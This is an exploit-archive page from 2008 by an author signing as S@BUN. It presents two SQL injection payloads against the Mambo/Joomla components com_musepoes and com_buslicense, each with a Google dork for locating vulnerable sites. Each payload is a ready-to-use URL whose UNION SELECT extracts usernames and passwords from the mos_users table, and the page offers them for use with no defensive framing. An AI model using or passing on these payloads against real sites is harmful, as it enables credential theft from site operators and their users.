[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mambo Component musepoes (aid) Remote SQL Injection Vulnerability
# Published : 2008-01-30
# Author : S@BUN
# Previous Title : Mambo Component Glossary 2.0 (catid) SQL Injection Vulnerability
# Next Title : Connectix Boards <= 0.8.2 template_path Remote File Inclusion Exploit 


#########################################################################
#
# joomla SQL Injection(com_musepoes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_musepoes"
#
########################################################################
EXPLOIT :

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN                     www.hackturkiye.com               S@BUN #########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                       S@BUN
#########################################################################


-------------------------------------------------------------------------------------------------------------------------------------------------

#########################################################################
#
# joomla SQL Injection(com_buslicense)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_buslicense"
#
########################################################################
EXPLOIT :

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                 S@BUN
#########################################################################
# S@BUN                    GOOD LUCKY                        S@BUN
#########################################################################

# www.Syue.com [2008-01-30]